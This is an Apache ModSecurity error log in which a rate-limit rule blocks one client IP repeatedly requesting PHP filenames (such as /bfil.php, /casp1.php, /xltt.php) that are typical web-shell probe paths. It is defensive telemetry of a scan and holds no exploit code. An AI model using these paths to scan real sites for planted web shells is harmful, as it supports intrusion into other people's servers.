[Fri Apr 24 18:04:28.151490 2026] [:error] [pid 17721:tid 17796] [client 20.203.169.80:32767] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aetALOFXXkLeyDnfk_8VXgAAAA8"]
[Fri Apr 24 18:04:28.699920 2026] [:error] [pid 17721:tid 17792] [client 20.203.169.80:29209] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aetALOFXXkLeyDnfk_8VXwAAAAs"]
[Fri Apr 24 18:04:29.292766 2026] [:error] [pid 14531:tid 14546] [client 20.203.169.80:34058] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8.php"] [unique_id "aetALXfLU2gw-6KR-Gaa6QAAAU0"]
[Fri Apr 24 18:04:30.017438 2026] [:error] [pid 4177:tid 4194] [client 20.203.169.80:29936] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aetALn2asKnvdrSe0x6qBgAAAYk"]
[Fri Apr 24 18:04:30.575966 2026] [:error] [pid 4177:tid 4205] [client 20.203.169.80:47776] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aetALn2asKnvdrSe0x6qBwAAAZQ"]
[Fri Apr 24 18:04:31.123108 2026] [:error] [pid 4177:tid 4199] [client 20.203.169.80:29968] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aetAL32asKnvdrSe0x6qDQAAAY4"]
[Fri Apr 24 18:04:31.914590 2026] [:error] [pid 4177:tid 4197] [client 20.203.169.80:32761] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aetAL32asKnvdrSe0x6qEgAAAYw"]
[Fri Apr 24 18:04:32.490305 2026] [:error] [pid 4177:tid 4200] [client 20.203.169.80:48102] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bfil.php"] [unique_id "aetAMH2asKnvdrSe0x6qGgAAAY8"]
[Fri Apr 24 18:04:33.072373 2026] [:error] [pid 4177:tid 4202] [client 20.203.169.80:34077] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bfil.php"] [unique_id "aetAMX2asKnvdrSe0x6qGwAAAZE"]
[Fri Apr 24 18:04:33.655141 2026] [:error] [pid 4177:tid 4187] [client 20.203.169.80:48103] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bfil.php"] [unique_id "aetAMX2asKnvdrSe0x6qJAAAAYI"]
[Fri Apr 24 18:04:34.311921 2026] [:error] [pid 4177:tid 4196] [client 20.203.169.80:32346] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bfil.php"] [unique_id "aetAMn2asKnvdrSe0x6qLQAAAYs"]
[Fri Apr 24 18:04:34.839975 2026] [:error] [pid 4177:tid 4197] [client 20.203.169.80:29208] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abrand.php"] [unique_id "aetAMn2asKnvdrSe0x6qMgAAAYw"]
[Fri Apr 24 18:04:35.403334 2026] [:error] [pid 17808:tid 17818] [client 20.203.169.80:32734] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abrand.php"] [unique_id "aetAM-arbOEFI8qshvL87wAAAEg"]
[Fri Apr 24 18:04:35.974159 2026] [:error] [pid 17808:tid 17828] [client 20.203.169.80:28449] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abrand.php"] [unique_id "aetAM-arbOEFI8qshvL8-AAAAFI"]
[Fri Apr 24 18:04:36.509533 2026] [:error] [pid 17808:tid 17811] [client 20.203.169.80:34111] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abrand.php"] [unique_id "aetANOarbOEFI8qshvL8_gAAAEE"]
[Fri Apr 24 18:04:37.072700 2026] [:error] [pid 17720:tid 17757] [client 20.203.169.80:34074] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/amax.php"] [unique_id "aetANehlUs6BS3Ng7_VdIgAAAMM"]
[Fri Apr 24 18:04:37.600413 2026] [:error] [pid 17720:tid 17768] [client 20.203.169.80:29963] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/amax.php"] [unique_id "aetANehlUs6BS3Ng7_VdIwAAAM4"]
[Fri Apr 24 18:04:38.332390 2026] [:error] [pid 17808:tid 17816] [client 20.203.169.80:28752] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/amax.php"] [unique_id "aetANuarbOEFI8qshvL9DgAAAEY"]
[Fri Apr 24 18:04:38.887320 2026] [:error] [pid 17720:tid 17766] [client 20.203.169.80:31542] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/amax.php"] [unique_id "aetANuhlUs6BS3Ng7_VdKgAAAMw"]
[Fri Apr 24 18:04:39.475668 2026] [:error] [pid 4177:tid 4193] [client 20.203.169.80:28433] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aetAN32asKnvdrSe0x6qQQAAAYg"]
[Fri Apr 24 18:04:40.011341 2026] [:error] [pid 4177:tid 4191] [client 20.203.169.80:29223] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aetAOH2asKnvdrSe0x6qRAAAAYY"]
[Fri Apr 24 18:04:40.572504 2026] [:error] [pid 17720:tid 17775] [client 20.203.169.80:47766] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aetAOOhlUs6BS3Ng7_VdLwAAANU"]
[Fri Apr 24 18:04:41.126902 2026] [:error] [pid 17720:tid 17765] [client 20.203.169.80:27512] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aetAOehlUs6BS3Ng7_VdMwAAAMs"]
[Fri Apr 24 18:04:41.639794 2026] [:error] [pid 17720:tid 17768] [client 20.203.169.80:29196] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/amwxl.php"] [unique_id "aetAOehlUs6BS3Ng7_VdNgAAAM4"]
[Fri Apr 24 18:04:42.188300 2026] [:error] [pid 17720:tid 17756] [client 20.203.169.80:47777] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/amwxl.php"] [unique_id "aetAOuhlUs6BS3Ng7_VdOQAAAMI"]
[Fri Apr 24 18:04:42.691289 2026] [:error] [pid 17719:tid 17744] [client 20.203.169.80:39297] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/amwxl.php"] [unique_id "aetAOsTZ9gzEyL1BkPqIGwAAAJE"]
[Fri Apr 24 18:04:43.266920 2026] [:error] [pid 17720:tid 17772] [client 20.203.169.80:27495] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/amwxl.php"] [unique_id "aetAO-hlUs6BS3Ng7_VdPwAAANI"]
[Fri Apr 24 18:04:43.809217 2026] [:error] [pid 17720:tid 17764] [client 20.203.169.80:32755] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wmore1.php"] [unique_id "aetAO-hlUs6BS3Ng7_VdQQAAAMo"]
[Fri Apr 24 18:04:44.379894 2026] [:error] [pid 22114:tid 22130] [client 20.203.169.80:28739] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wmore1.php"] [unique_id "aetAPIAuWGz3WlMQjofSKwAAAQ0"]
[Fri Apr 24 18:04:44.916187 2026] [:error] [pid 4177:tid 4201] [client 20.203.169.80:29941] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wmore1.php"] [unique_id "aetAPH2asKnvdrSe0x6qUAAAAZA"]
[Fri Apr 24 18:04:45.439917 2026] [:error] [pid 4177:tid 4202] [client 20.203.169.80:28474] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wmore1.php"] [unique_id "aetAPX2asKnvdrSe0x6qVgAAAZE"]
[Fri Apr 24 18:04:45.929593 2026] [:error] [pid 4177:tid 4204] [client 20.203.169.80:47797] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/userfuns.php"] [unique_id "aetAPX2asKnvdrSe0x6qWAAAAZM"]
[Fri Apr 24 18:07:16.659299 2026] [:error] [pid 4177:tid 4195] [client 20.203.169.80:38137] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/casp1.php"] [unique_id "aetA1H2asKnvdrSe0x6rywAAAYo"]
[Fri Apr 24 18:07:17.148789 2026] [:error] [pid 17720:tid 17775] [client 20.203.169.80:28163] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/casp1.php"] [unique_id "aetA1ehlUs6BS3Ng7_VeXgAAANU"]
[Fri Apr 24 18:07:17.641281 2026] [:error] [pid 17720:tid 17763] [client 20.203.169.80:34497] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/casp1.php"] [unique_id "aetA1ehlUs6BS3Ng7_VeYAAAAMk"]
[Fri Apr 24 18:07:18.130649 2026] [:error] [pid 17719:tid 17737] [client 20.203.169.80:45144] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/casp1.php"] [unique_id "aetA1sTZ9gzEyL1BkPqITgAAAIo"]
[Fri Apr 24 18:07:18.622754 2026] [:error] [pid 17720:tid 17765] [client 20.203.169.80:5712] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/acc.php"] [unique_id "aetA1uhlUs6BS3Ng7_VeYgAAAMs"]
[Fri Apr 24 18:07:19.170827 2026] [:error] [pid 17808:tid 17834] [client 20.203.169.80:28218] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/acc.php"] [unique_id "aetA1-arbOEFI8qshvL91QAAAFg"]
[Fri Apr 24 18:07:19.762801 2026] [:error] [pid 17720:tid 17760] [client 20.203.169.80:5759] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/acc.php"] [unique_id "aetA1-hlUs6BS3Ng7_VeagAAAMY"]
[Fri Apr 24 18:07:20.339617 2026] [:error] [pid 17808:tid 17817] [client 20.203.169.80:34508] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/acc.php"] [unique_id "aetA2OarbOEFI8qshvL92QAAAEc"]
[Fri Apr 24 18:07:20.868946 2026] [:error] [pid 17720:tid 17764] [client 20.203.169.80:40536] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/asasx.php"] [unique_id "aetA2OhlUs6BS3Ng7_VebQAAAMo"]
[Fri Apr 24 18:07:21.378517 2026] [:error] [pid 17808:tid 17827] [client 20.203.169.80:26569] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/asasx.php"] [unique_id "aetA2earbOEFI8qshvL92gAAAFE"]
[Fri Apr 24 18:07:21.930524 2026] [:error] [pid 17720:tid 17763] [client 20.203.169.80:5711] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/asasx.php"] [unique_id "aetA2ehlUs6BS3Ng7_VecAAAAMk"]
[Fri Apr 24 18:07:22.490330 2026] [:error] [pid 17808:tid 17831] [client 20.203.169.80:5775] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/asasx.php"] [unique_id "aetA2uarbOEFI8qshvL94AAAAFU"]
[Fri Apr 24 18:07:23.006692 2026] [:error] [pid 17720:tid 17756] [client 20.203.169.80:48553] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xltt.php"] [unique_id "aetA2-hlUs6BS3Ng7_VecgAAAMI"]
[Fri Apr 24 18:07:23.498181 2026] [:error] [pid 17720:tid 17774] [client 20.203.169.80:40563] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xltt.php"] [unique_id "aetA2-hlUs6BS3Ng7_VecwAAANQ"]
[Fri Apr 24 18:07:23.972965 2026] [:error] [pid 17720:tid 17773] [client 20.203.169.80:5808] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xltt.php"] [unique_id "aetA2-hlUs6BS3Ng7_VedgAAANM"]
[Fri Apr 24 18:07:24.469794 2026] [:error] [pid 17720:tid 17767] [client 20.203.169.80:26574] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xltt.php"] [unique_id "aetA3OhlUs6BS3Ng7_VeewAAAM0"]
[Fri Apr 24 18:07:24.954739 2026] [:error] [pid 17719:tid 17733] [client 20.203.169.80:34986] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/packsin1.php"] [unique_id "aetA3MTZ9gzEyL1BkPqIUAAAAIY"]
[Fri Apr 24 18:07:25.445331 2026] [:error] [pid 17808:tid 17810] [client 20.203.169.80:31165] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/packsin1.php"] [unique_id "aetA3earbOEFI8qshvL95gAAAEA"]
[Fri Apr 24 18:07:25.922633 2026] [:error] [pid 17808:tid 17821] [client 20.203.169.80:48529] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/packsin1.php"] [unique_id "aetA3earbOEFI8qshvL95wAAAEs"]
[Fri Apr 24 18:07:26.443500 2026] [:error] [pid 4177:tid 4205] [client 20.203.169.80:26565] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/packsin1.php"] [unique_id "aetA3n2asKnvdrSe0x6r0wAAAZQ"]
[Fri Apr 24 18:07:26.980637 2026] [:error] [pid 14531:tid 14543] [client 20.203.169.80:40561] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "aetA3nfLU2gw-6KR-GabfAAAAUo"]
[Fri Apr 24 18:07:27.498510 2026] [:error] [pid 14531:tid 14537] [client 20.203.169.80:27736] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "aetA33fLU2gw-6KR-GabfQAAAUQ"]
[Fri Apr 24 18:07:27.977202 2026] [:error] [pid 14531:tid 14533] [client 20.203.169.80:45147] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "aetA33fLU2gw-6KR-GabgAAAAUA"]
[Fri Apr 24 18:07:28.465370 2026] [:error] [pid 17719:tid 17749] [client 20.203.169.80:30751] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/press.php"] [unique_id "aetA4MTZ9gzEyL1BkPqIUQAAAJY"]
